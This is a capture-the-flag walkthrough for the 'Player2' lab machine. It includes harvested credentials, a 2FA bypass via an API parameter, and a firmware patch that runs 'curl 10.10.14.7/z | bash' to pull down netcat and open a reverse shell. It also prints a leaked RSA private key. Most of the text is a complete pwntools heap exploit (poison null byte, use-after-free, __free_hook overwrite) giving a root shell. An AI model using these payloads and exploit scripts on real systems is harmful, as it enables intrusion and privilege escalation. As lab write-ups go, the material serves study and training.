Player2 Writeup

From the proto directory, let's try to find some configuration info by fuzzing for the .proto file. Using some different wordlists with wfuzz on /proto/FUZZ.proto, I came across generated.proto:

```
syntax = "proto3";

package twirp.player2.auth;
option go_package = "auth";

service Auth {
  rpc GenCreds(Number) returns (Creds);
}

message Number {
  int32 count = 1; // must be > 0
}

message Creds {
  int32 count = 1;
  string name = 2;
  string pass = 3;
}
```

Note how twirp documentation mentions the route as the following:

POST /twirp/<package>.<Service>/<Method>

From the source above, the route will be twirp.player2.auth.Auth/GenCreds... some nice credentials should come from here!

Using the twirp documentation with curl, I played around and curled to the service route based on the format from the documentation.

curl -X POST "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" --header "Content-Type:application/json" --data '{}'

However, we end up getting a lot of different creds and most of them don't work. I recieved the following:
{"name":"snowscan","pass":"Lp-+Q8umLW5*7qkc"}
{"name":"snowscan","pass":"ze+EKe-SGF^5uZQX"}
{"name":"jkr","pass":"tR@dQnwnZEk95*6#"}
{"name":"mprox","pass":"ze+EKe-SGF^5uZQX"}
{"name":"jkr","pass":"XHq7_WJTA?QD_?E2"}

With some different varaitions, I determined that the following worked:
jkr:Lp-+Q8umLW5*7qkc

However, once we login, it asks for OTP. It tells us that we can either use the OTP that was sent to mobile or backup codes. I did notice an initial api link from dirb originally. This page is called totp, which is a type of otp. Thinking logically, plugging in /api/totp actually worked. It also mentioned backup codes. Playing around, there seems to be “action” parameter on the api. After a while, I figured out that sending in the logged in session id along with a request for “backup_codes” (a logical name for what we are looking for) gave us the TOTP.

curl -X POST "http://product.player2.htb/api/totp" --header "Content-Type:application/json" -d '{"action":"backup_codes"}' --cookie "PHPSESSID=06plq8egcf5e8eijvhs8abjs7q"

{"user":"jkr","code":"29389234823423"}

After rooting the box, hevr pointed out that there should be a type juggling attack here as the 2FA bypass:

curl -X POST "http://product.player2.htb/api/totp" --header "Content-Type:application/json" -d '{"action":0}' --cookie "PHPSESSID=06plq8egcf5e8eijvhs8abjs7q"

Inside the following page, we see a mention to a pdf and a link to a firmware download. It mentions that the firmware is signed. Extracting the binary file from the tar, I opened it up in a hex editor and saw the ELF header appear 64 bytes into the file. It seems safe here to assume that the first 64 bytes is probably the signature. Let's take out the first 64 bytes: dd if=Protobs.bin bs=64 skip=1 of=firmware.

While reversing it, I noticed how the main function called another function, which in turn called system on a string.

```
0x004013c9      55             push rbp
|           0x004013ca      4889e5         mov rbp, rsp
|           0x004013cd      4883ec10       sub rsp, 0x10
|           0x004013d1      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x004013da      488945f8       mov qword [local_8h], rax
|           0x004013de      31c0           xor eax, eax
|           0x004013e0      488d3dbd0c00.  lea rdi, qword str.stty_raw__echo_min_0_time_10 ; 0x4020a4 ;
 "stty raw -echo min 0 time 10"
|           0x004013e7      e884fcffff     call sym.imp.system         ; int system(const char *string)
|           0x004013ec      e8bffcffff     call sym.imp.getchar        ; int getchar(void)
|           0x004013f1      8945f4         mov dword [local_ch], eax
|           0x004013f4      837df41b       cmp dword [local_ch], 0x1b
|       ,=< 0x004013f8      7416           je 0x401410
|       |   0x004013fa      488d3dc00c00.  lea rdi, qword str.stty_sane ; 0x4020c1 ; "stty sane"
|       |   0x00401401      e86afcffff     call sym.imp.system         ; int system(const char *string)
|       |   0x00401406      bf00000000     mov edi, 0
|       |   0x0040140b      e8c0fcffff     call sym.imp.exit
```

We can patch binaries with dd to call system on a different string and then reattach the 64 byte signature:

https://unix.stackexchange.com/questions/214820/patching-a-binary-with-dd

First, finding the offset to the first string with stty.
strings -t d Protobs.bin | grep stty

Then, I created a "malicious" file for the next dd to transfer into and replace the string. It contained the following contents:
curl 10.10.14.7/z | bash

The "z" on my side is just a shellscript containing the following:
curl http://10.10.14.7/nc -o /tmp/nc
chmod +x /tmp/nc
/tmp/nc 10.10.14.7 1337 -e /bin/sh

The reason I kept the original command so small was because I was being cautious about messing up the binary with a string that is too long.

Then, lastly, with the final patching:
dd if=malicious of=Protobs.bin obs=1 seek=8420 conv=notrunc

Uploading this should pop us a shell back as www-data.
Looking in /etc/passwd, there are two potential users to go for: egre55 and observer. I also noticed that there is an account for the mosquitto service. The service is also running on port 1883.
Reading around, the SYS-topic part of it was quite interesting.
https://blog.teserakt.io/2019/02/25/securing-the-mosquitto-mqtt-broker/

To quote the article, SYS topics are a special class of topics under which the broker publishes data, typically for monitoring purposes. SYS topics are not a formal standard but are an established practice in MQTT brokers.

Going to it with the following command:
mosquitto_sub -h localhost -p 1883 -v -t '$SYS/#'

We end up seeing an SSH key getting dumped after a while:

```
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA7Gc/OjpFFvefFrbuO64wF8sNMy+/7miymSZsEI+y4pQyEUBA
R0JyfLk8f0SoriYk0clR/JmY+4mK0s7+FtPcmsvYgReiqmgESc/brt3hDGBuVUr4
et8twwy77KkjypPy4yB0ecQhXgtJNEcEFUj9DrOq70b3HKlfu4WzGwMpOsAAdeFT
+kXUsGy+Cp9rp3gS3qZ2UGUMsqcxCcKhn92azjFoZFMCP8g4bBXUgGp4CmFOtdvz
SM29st5P4Wqn0bHxupZ0ht8g30TJd7FNYRcQ7/wGzjvJzVBywCxirkhPnv8sQmdE
+UAakPZsfw16u5dDbz9JElNbBTvwO9chpYIs0QIDAQABAoIBAA5uqzSB1C/3xBWd
62NnWfZJ5i9mzd/fMnAZIWXNcA1XIMte0c3H57dnk6LtbSLcn0jTcpbqRaWtmvUN
wANiwcgNg9U1vS+MFB7xeqbtUszvoizA2/ScZW3P/DURimbWq3BkTdgVOjhElh6D
62LlRtW78EaVXYa5bGfFXM7cXYsBibg1+HOLon3Lrq42j1qTJHH/oDbZzAHTo6IO
91TvZVnms2fGYTdATIestpIRkfKr7lPkIAPsU7AeI5iAi1442Xv1NvGG5WPhNTFC
gw4R0V+96fOtYrqDaLiBeJTMRYp/eqYHXg4wyF9ZEfRhFFOrbLUHtUIvkFI0Ya/Y
QACn17UCgYEA/eI6xY4GwKxV1CvghL+aYBmqpD84FPXLzyEoofxctQwcLyqc5k5f
llga+8yZZyeWB/rWmOLSmT/41Z0j6an0bLPe0l9okX4j8WOSmO6TisD4WiFjdAos
JqiQej4Jch4fTJGegctyaOwsIVvP+hKRvYIwO9CKsaAgOQySlxQBOwMCgYEA7l+3
JloRxnCYYv+eO94sNJWAxAYrcPKP6nhFc2ReZEyrPxTezbbUlpAHf+gVJNVdetMt
ioLhQPUNCb3mpaoP0mUtTmpmkcLbi3W25xXfgTiX8e6ZWUmw+6t2uknttjti97dP
QFwjZX6QPZu4ToNJczathY2+hREdxR5hR6WrJpsCgYEApmNIz0ZoiIepbHchGv8T
pp3Lpv9DuwDoBKSfo6HoBEOeiQ7ta0a8AKVXceTCOMfJ3Qr475PgH828QAtPiQj4
hvFPPCKJPqkj10TBw/a/vXUAjtlI+7ja/K8GmQblW+P/8UeSUVBLeBYoSeiJIkRf
PYsAH4NqEkV2OM1TmS3kLI8CgYBne7AD+0gKMOlG2Re1f88LCPg8oT0MrJDjxlDI
NoNv4YTaPtI21i9WKbLHyVYchnAtmS4FGqp1S6zcVM+jjb+OpBPWHgTnNIOg+Hpt
uaYs8AeupNl31LD7oMVLPDrxSLi/N5o1I4rOTfKKfGa31vD1DoCoIQ/brsGQyI6M
zxQNDwKBgQCBOLY8aLyv/Hi0l1Ve8Fur5bLQ4BwimY3TsJTFFwU4IDFQY78AczkK
/1i6dn3iKSmL75aVKgQ5pJHkPYiTWTRq2a/y8g/leCrvPDM19KB5Zr0Z1tCw5XCz
iZHQGq04r9PMTAFTmaQfMzDy1Hfo8kZ/2y5+2+lC7wIlFMyYze8n8g==
-----END RSA PRIVATE KEY-----
```

Testing it on the two possible users, it turned out that it works for observer. And now user has been pwned!

Finally, we have hit the part for root. It's a poison null byte on 2.29 (there also was an easier heap overflow unintended). Anyways, make sure to read up on libc malloc.c for 2.29 on bminor's mirror of libc source before continuing! The binary can be found in /opt/Configuration_Utility, and running checksec on it immediately informs us that it is patchelf'd to run ld and libc different from the box's libc and ld. Personally, I like to use all of pwndbg's capabilities with libc debug symbols, so I ran the following commands to switch the interpreter and rpath to default and debugged on a headless ubuntu VM running the same libc version:

patchelf Protobs --set-interpreter /lib64/ld-linux-x86-64.so.2
patchelf Protobs --remove-rpath /lib/x86_64-linux-gnu/

Anyways, let us begin the pwning! Here is the binary reversed with my comments.

```
//only 15 indices

typedef struct
{
  char[20] game;
  unsigned int contrast;
  unsigned int gamma;
  unsigned int xres;
  unsigned int yres;
  unsigned int controller;
  unsigned int desc;
  char *description;
}gamestruct;

void create(void)
{
  char *__dest;
  long lVar1;
  int iVar2;
  undefined4 uVar3;
  void *pvVar4;
  ssize_t sVar5;
  size_t sVar6;
  long in_FS_OFFSET;
  int local_448;
  char local_428 [19];
```

```
  undefined local_415;
  long local_20;

  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  iVar2 = FUN_00400c8b();
  if (iVar2 < 0) {
    FUN_00400c3e();
  }
  pvVar4 = malloc(0x38); //so default, allocate to 0x40 tcachebin, note libc 2.29
  *(void **)(&DAT_00603060 + (long)iVar2 * 8) = pvVar4;
  __dest = *(char **)(&DAT_00603060 + (long)iVar2 * 8);
  putchar(10);
  puts("==New Game Configuration");
  printf(" [ Game                ]: ");
  fgets(local_428,0x400,stdin);
  readin(local_428);
  local_415 = 0;
  strncpy(__dest,local_428,0x14);
  uVar3 = readnum(" [ Contrast            ]: ");
  *(undefined4 *)(__dest + 0x14) = uVar3;
  uVar3 = readnum(" [ Gamma               ]: ");
  *(undefined4 *)(__dest + 0x18) = uVar3;
  uVar3 = readnum(" [ Resolution X-Axis   ]: ");
  *(undefined4 *)(__dest + 0x1c) = uVar3;
  uVar3 = readnum(" [ Resolution Y-Axis   ]: ");
  *(undefined4 *)(__dest + 0x20) = uVar3;
  uVar3 = readnum(" [ Controller          ]: ");
  *(undefined4 *)(__dest + 0x24) = uVar3;
  uVar3 = readnum(" [ Size of Description ]: "); //not nulled out another bug here!
  *(undefined4 *)(__dest + 0x28) = uVar3;
  if (*(int *)(__dest + 0x28) != 0) {
    printf(" [ Description         ]: ");
    sVar5 = read(0,local_428,0x200);
    readin(local_428);
    if (*(uint *)(__dest + 0x28) <= (uint)sVar5) {
      local_428[(ulong)*(uint *)(__dest + 0x28)] = 0; //oops indexing
    }
    pvVar4 = malloc((ulong)*(uint *)(__dest + 0x28));
    *(void **)(__dest + 0x30) = pvVar4; //another allocation
    lVar1 = *(long *)(__dest + 0x30);
    local_448 = 0;
    while( true ) {
      sVar6 = strlen(local_428); //counts all the way till null byte
      //what happenned above allows for poison null byte, it's copying strlen bytes rather than desc size bytes
      if (sVar6 < (ulong)(long)local_448) break;
      *(char *)((long)local_448 + lVar1) = local_428[(long)local_448];
      local_448 = local_448 + 1;
    }
  }
  putchar(10);
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}



void delete(void)
{
  long lVar1;
  void *__ptr;
  uint uVar2;
  long in_FS_OFFSET;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  putchar(10);
  puts("==Delete Game Configuration");
  puts(" >>> Run the list option to see available configurations.");
  uVar2 = readnum(" [ Config Index    ]: ");
  if ((uVar2 < 0xf) && (*(long *)(&DAT_00603060 + (ulong)uVar2 * 8) != 0)) {
    __ptr = *(void **)(&DAT_00603060 + (ulong)uVar2 * 8);
    if (*(long *)((long)__ptr + 0x30) != 0) {
      free(*(void **)((long)__ptr + 0x30)); //possible double free here?
    }
    free(__ptr);
    *(undefined8 *)(&DAT_00603060 + (ulong)uVar2 * 8) = 0; //no double free here
  }
  else {
    puts("  [!] Invalid index.");
  }
  putchar(10);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void readin(char *pcParm1)
{
  long lVar1;
  char *pcVar2;
  long in_FS_OFFSET;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  pcVar2 = strchr(pcParm1,0xd);
  if (pcVar2 != (char *)0x0) {
```

```
    *pcVar2 = 0;
  }
  pcVar2 = strchr(pcParm1,10);
  if (pcVar2 != (char *)0x0) {
    *pcVar2 = 0;
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


ulong readnum(char *pcParm1)
{
  ulong uVar1;
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf(pcParm1);
  fgets(local_28,0x10,stdin);
  uVar1 = strtol(local_28,(char **)0x0,10);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar1 & 0xffffffff;
}



void show(void)
{
  long lVar1;
  long lVar2;
  uint uVar3;
  long in_FS_OFFSET;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  putchar(10);
  puts("==Read Game Configuration");
  puts(" >>> Run the list option to see available configurations.");
  uVar3 = readnum(" [ Config Index    ]: ");
  if ((uVar3 < 0xf) && (*(long *)(&DAT_00603060 + (ulong)uVar3 * 8) != 0)) {
    lVar2 = *(long *)(&DAT_00603060 + (ulong)uVar3 * 8);
    printf("  [ Game                ]: %s\n",lVar2);
    printf("  [ Contrast            ]: %u\n",(ulong)*(uint *)(lVar2 + 0x14));
    printf("  [ Gamma               ]: %u\n",(ulong)*(uint *)(lVar2 + 0x18));
    printf("  [ Resolution X-Axis   ]: %u\n",(ulong)*(uint *)(lVar2 + 0x1c));
    printf("  [ Resolution Y-Axis   ]: %u\n",(ulong)*(uint *)(lVar2 + 0x20));
    printf("  [ Controller          ]: %u\n",(ulong)*(uint *)(lVar2 + 0x24));
    if (*(long *)(lVar2 + 0x30) != 0) {
      printf("  [ Description         ]: %s\n",*(undefined8 *)(lVar2 + 0x30));
    }
  }
  else {
    puts("  [!] Invalid index.");
  }
  putchar(10);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}



void list(void)
{
  long lVar1;
  long in_FS_OFFSET;
  uint local_1c;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  putchar(10);
  puts("==List of Configurations");
  local_1c = 0;
  while (local_1c < 0xf) {
    if (*(long *)(&DAT_00603060 + (ulong)local_1c * 8) != 0) {
      printf(" [%02u] : %s\n",(ulong)local_1c,*(undefined8 *)(&DAT_00603060 + (ulong)local_1c *8));
    }
    local_1c = local_1c + 1;
  }
  putchar(10);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void main(void)
{
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;
```

```
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("protobs@player2:~$ ");
  fgets(local_28,0x10,stdin);
  switch(local_28[0]) {
  case '0':
    help();
    break;
  case '1':
    list();
    break;
  case '2':
    create();
    break;
  case '3':
    show();
    break;
  case '4':
    delete();
    break;
  case '5':
    FUN_00400be7();
    break;
  default:
    putchar(10);
    puts("[!] Invalid option. Enter \'0\' for available options.");
    putchar(10);
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

Basically, there are two bugs, a poison null byte and a UAF. UAF comes from the fact that the game struct, which belongs to the 0x40 tcache bin due to 0x38 allocations, does not zero out the pointer to description when freed. Therefore, we can make a game with a description, free it, get the same game chunk back with another allocation, and get the same description by just setting the size as 0 as the pointer will remain the same. And in the alloc function, there is also a poison null byte due to the way it read in our description from how it indexes to attach the null byte (note the bug there). Using the UAF, we can grab both a heap and libc leak. Heap leak can be grabbed from tcache bin pointers. Libc leak can be grabbed from unsorted bin pointers, which can easily be done since there is no limit to how big we allocate, so we can just allocate some bins in the largebin size area to fall into unsorted bin.

As for the poison null byte, it's a similar concept as older poison null bytes. Only difference is that in libc 2.29, there is the following check:

```
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }
```

Bypassing this isn't too hard. Just forge a fake chunk right above the region you want to coalesce with the correct size (remember the prev_size issue too in poison null bytes; that prev_size determines where it is going to check and how much it will coalesce by!). However, you will also need some heap pointers to point back to the location of the forged chunk to bypass a more classic heap fd->bk =P and bk->fd =P unlink macro check. It is also possible to do this without heap leak, but requires much more debugging and heap feng shui:
https://gist.github.com/ducphanduyagentp/1c6dd45bd92b12ae92c9b39e7b6dc9ea

Below is the unlink macro:

```
#define unlink(AV, P, BK, FD) {                                            \
   if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
     malloc_printerr ("corrupted size vs. prev_size");                       \
   FD = P->fd;                                     \
   BK = P->bk;                                     \
   if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
     malloc_printerr ("corrupted double-linked list");                 \
   else {                                    \
       FD->bk = BK;                                 \
BK->fd = FD;
```

Somehow I was stupid and missed the really obvious massive heap overflow above from the buffer issue, as sampriti and hevr pointed out. Notice how the buffer for the name and the desc are on the same place on the stack, but the fgets for the name allows for a lot more space on the buffer (0x400) while the read for the heap is capped at 0x200. We can simply fill the amount of the heap buffer all the way and also do something similar for name originally... copying using strlen will copy everything over, allowing for a massive heap overflow, and doing the rest of the classic heap stuff with tcache to probably get arbitrary write. This method of exploitation would have been much simpler.

Anyways, afterwards, you should be able to coalesce, get heap overlap, and pop a shell. Now let's write the exploit. Make sure to debug along if you were not able to solve this!

First thing I do is write all the helper functions.

```
from pwn import *

#context.log_level = 'debug'
#no pie
bin = ELF('./Protobs')
libc = ELF('./libc.so.6')

p = process('./Protobs')

#it's suid so life becomes even easier!
#bss at 0x603060
def wait():
    p.recvrepeat(0.1)

def alloc(size, desc, game='', contrast=0,gamma=0,xres=0,yres=0,controller=0):
    p.sendline('2')
    wait()
    p.sendline(game)
    wait()
```

```
    p.sendline(str(contrast))
    wait()
    p.sendline(str(gamma))
    wait()
    p.sendline(str(xres))
    wait()
    p.sendline(str(yres))
    wait()
    p.sendline(str(controller))
    wait()
    p.sendline(str(size))
    wait()
    if size is not 0:
        p.sendline(desc)
        wait()


def free(index):
    p.sendline('4')
    wait()
    p.sendline(str(index))
    wait()

def show(index):
    p.sendline('3')
    wait()
    p.sendline(str(index))
```

Then I got a heap and libc leak using the UAF bug above. It is important to keep track of how many tcachebins you have left in the 0x40 and try to keep it filled up, especially before the poison null byte, so they do not interfere in your poison null byte setup. Hopefully, my comments below will help clear up any confusion.

```
small = 0x198
big = 0x4f0 #500
p.recvrepeat(2)
wait()
#fill with 6 tcache bins
for i in range(3):
    alloc(0x30, 'A' * 0x20)
for i in range(3):
    free(i) #6 chunks in tcache
alloc(0, 'blah') #doesn't matter, blah ain't sent in
show(0) #5 chunks in tcache
p.recvuntil('[ Description         ]: ')
heapleak = p.recvline()[:-1]
heapleak = u64(heapleak.ljust(8, '\x00'))
log.info('Heap leak: ' + hex(heapleak))
#however, due to how it does not check for size before freeing, we can't touch that chunk again without risking the 2.29 tcache key protection mechanism
alloc(0x500, 'A' * 0x30) #4 chunk in tcache
alloc(0x200, 'A' * 0x30) #3 chunk in tcache, chunk index 2
free(2) #prevent top consolidation, back to 4 chunks in tcache
free(1) #for libc leaking, 5 chunk in tcache
alloc(0, 'blah') #4 chunk in tcache, chunk 1
show(1) #1 is taken up
p.recvuntil('[ Description         ]: ')
libcleak = p.recvline()[:-1]
libcleak = u64(libcleak.ljust(8, '\x00'))
libc.address = libcleak -  0x1e4c40 - 96
log.info("Libc Base: " + hex(libc.address)) #know that read maxes out at 0x200
```

As I mentioned earlier, I would prefer to have all the tcachebins for the game metadata structs filled so they do not interfere with my poison null byte setup.

```
#fill rest of tcache
for i in range(4):
    alloc(0x200, 'A' * 0x20) #2, 3, 4, 5
#empty it
for i in range(3):
    alloc(0, '') #6, 7, 8
for i in range(7):
    free(i+2)
 #7 chunks in 0x40 tcache
#tcache should be filled now
```

Now it's time for the poison null byte. Just remember what I said before and you should be fine. There is however one thing to note, and it's the size I chose to overwrite. I allocated 0x4f0 for it so it becomes 0x500. Not only do I not have to fill tcacehbin for it before it does the coalesce/unsorted mechanism, but when I overwrite it, it will become 0x501 (prev in use is on) to 0x500. This way, I won't have to deal with the libc checks that check the chunks afterwards as the size did not actually change. Also, you will need to slowly write the poison null bytes by writing backwards byte by byte due to the way it transfers the data from the buffer to the heap in the allocation function. You will also need to make sure you have a freed chunk in that coaelesced region to create heap overlap afterwards.

```
#now time for poison null byte
alloc(0x50, 'C' * 0x38 + p64(heapleak+0xa50)) #2
#wipe out null bytes to set up forged chunk correctly
for i in range(6):
    free(2)
    alloc(0x50, 'C' * (0x38-i-1))
free(2) #continue setting up forged chunk
alloc(0x50, 'C' * 0x30 + p64(heapleak+0xa50))
for i in range(6):
    free(2)
    alloc(0x50, 'C' * (0x30-i-1))
free(2)
alloc(0x50, 'C' * 0x28 + p64(small+0x38)) #2
#forged chunk should be good to go

alloc(small, 'D' * 0x100) #3
alloc(big, 'E' * 0x100) #4
alloc(0x210, '') #prevent top consolidation #5
free(3)
alloc(small, 'F' * (small)) #poison null byte
#set up fake prev_size
```

```
free(3)
for i in range(6):
    alloc(small, 'F' * (small-i-1))
    free(3)
alloc(small, 'F'*(small-0x8)+p64(small+0x38))
free(3)
free(4) #chunk coaelesced now
```

Now you have coalesced region with a free chunk pointing to the same region, thereby creating heap overlap. Technically, tcache poison by overwriting the fd pointers is very trivial, but beware the tcache count check. This can be handled by allocating several tcache bins of the same size and then putting them all in the respective tcache bins, so when you poison the tcache bins, you will have enough for tcache counts to not worry about it becoming -1 and thus not giving the target region back. Then overwrite free hook with system and pop a shell with a string since you control the rdi value for free.

```
alloc(0x20, 'temp')
alloc(0x20, 'ZZZZ')
alloc(0x60, 'Y' * 0x20) #6
alloc(0x60, 'Y'*0x20) #so tcache count doesn't drop, bypass that check
alloc(0x60, 'Y' * 0x20)
free(6)
free(7)
free(8)
alloc(small, 'A' * (0x60 + 0x70 + 0x10) + p64(libc.symbols['__free_hook'])) #overlapped chunks
alloc(0x60, '')
#above was a tcache poison, now overwrite malloc hook
magic = [0xe237f, 0xe2383, 0xe2386]
alloc(0x60, p64(libc.symbols['system'])) #8, because it frees the desc first, we can't have it do that
alloc(0x300, '', game='/bin/bash\x00') #9
free(9)
p.interactive()
```

For remote version, I just used ssh from pwn tools and slowed down the timing.

```
from pwn import *

#context.log_level = 'debug'
#no pie
bin = ELF('./Protobs')
libc = ELF('./libc.so.6')


remoteShell = ssh(host = 'player2.htb', user='observer', keyfile='./key')
remoteShell.set_working_directory('/opt/Configuration_Utility')
p = remoteShell.process('./Protobs')

#it's suid so life becomes even easier!
#bss at 0x603060
def wait():
    p.recvrepeat(0.3)

def alloc(size, desc, game='', contrast=0,gamma=0,xres=0,yres=0,controller=0):
    p.sendline('2')
    wait()
    p.sendline(game)
    wait()
    p.sendline(str(contrast))
    wait()
    p.sendline(str(gamma))
    wait()
    p.sendline(str(xres))
    wait()
    p.sendline(str(yres))
    wait()
    p.sendline(str(controller))
    wait()
    p.sendline(str(size))
    wait()
    if size is not 0:
        p.sendline(desc)
        wait()


def free(index):
    p.sendline('4')
    wait()
    p.sendline(str(index))
    wait()

def show(index):
    p.sendline('3')
    wait()
    p.sendline(str(index))

small = 0x198
big = 0x4f0 #500
p.recvrepeat(2)
wait()
#fill with 6 tcache bins
for i in range(3):
    alloc(0x30, 'A' * 0x20)
for i in range(3):
    free(i) #6 chunks in tcache
alloc(0, 'blah') #doesn't matter, blah ain't sent in
show(0) #5 chunks in tcache
p.recvuntil('[ Description         ]: ')
heapleak = p.recvline()[:-1]
heapleak = u64(heapleak.ljust(8, '\x00'))
log.info('Heap leak: ' + hex(heapleak))
#however, due to how it does not check for size before freeing, we can't touch that chunk again
alloc(0x500, 'A' * 0x30) #4 chunk in tcache
```

```
alloc(0x200, 'A' * 0x30) #3 chunk in tcache, chunk index 2
free(2) #prevent top consolidation, back to 4 chunks in tcache
free(1) #for libc leaking, 5 chunk in tcache
alloc(0, 'blah') #4 chunk in tcache, chunk 1
show(1) #1 is taken up
p.recvuntil('[ Description         ]: ')
libcleak = p.recvline()[:-1]
libcleak = u64(libcleak.ljust(8, '\x00'))
libc.address = libcleak -  0x1e4c40 - 96
log.info("Libc Base: " + hex(libc.address)) #know that read maxes out at 0x200
#fill rest of tcache
for i in range(4):
    alloc(0x200, 'A' * 0x20) #2, 3, 4, 5
#empty it
for i in range(3):
    alloc(0, '') #6, 7, 8
for i in range(7):
    free(i+2)
 #7 chunks in 0x40 tcache
#tcache should be filled now
#now time for poison null byte
alloc(0x50, 'C' * 0x38 + p64(heapleak+0xa50)) #2
#wipe out null bytes to set up forged chunk correctly
for i in range(6):
    free(2)
    alloc(0x50, 'C' * (0x38-i-1))
free(2) #continue setting up forged chunk
alloc(0x50, 'C' * 0x30 + p64(heapleak+0xa50))
for i in range(6):
    free(2)
    alloc(0x50, 'C' * (0x30-i-1))
free(2)
alloc(0x50, 'C' * 0x28 + p64(small+0x38)) #2
#forged chunk should be good to go

alloc(small, 'D' * 0x100) #3
alloc(big, 'E' * 0x100) #4
alloc(0x210, '') #prevent top consolidation #5
free(3)
alloc(small, 'F' * (small)) #poison null byte
#set up fake prev_size
free(3)
for i in range(6):
    alloc(small, 'F' * (small-i-1))
    free(3)
alloc(small, 'F'*(small-0x8)+p64(small+0x38))
free(3)
free(4) #chunk coaelesced now
p.interactive()
alloc(0x20, 'temp')
alloc(0x20, 'ZZZZ')
alloc(0x60, 'Y' * 0x20) #6
alloc(0x60, 'Y'*0x20) #so tcache count doesn't drop, bypass that check
alloc(0x60, 'Y' * 0x20)
free(6)
free(7)
free(8)
alloc(small, 'A' * (0x60 + 0x70 + 0x10) + p64(libc.symbols['__free_hook'])) #overlapped chunks
alloc(0x60, '')
magic = [0xe237f, 0xe2383, 0xe2386]
alloc(0x60, p64(libc.symbols['system'])) #8, because it frees the desc first, we can't have it do that
alloc(0x300, '', game='/bin/sh\x00') #9
free(9)
p.interactive()
```

And you should now have a root shell! This box was very fun :p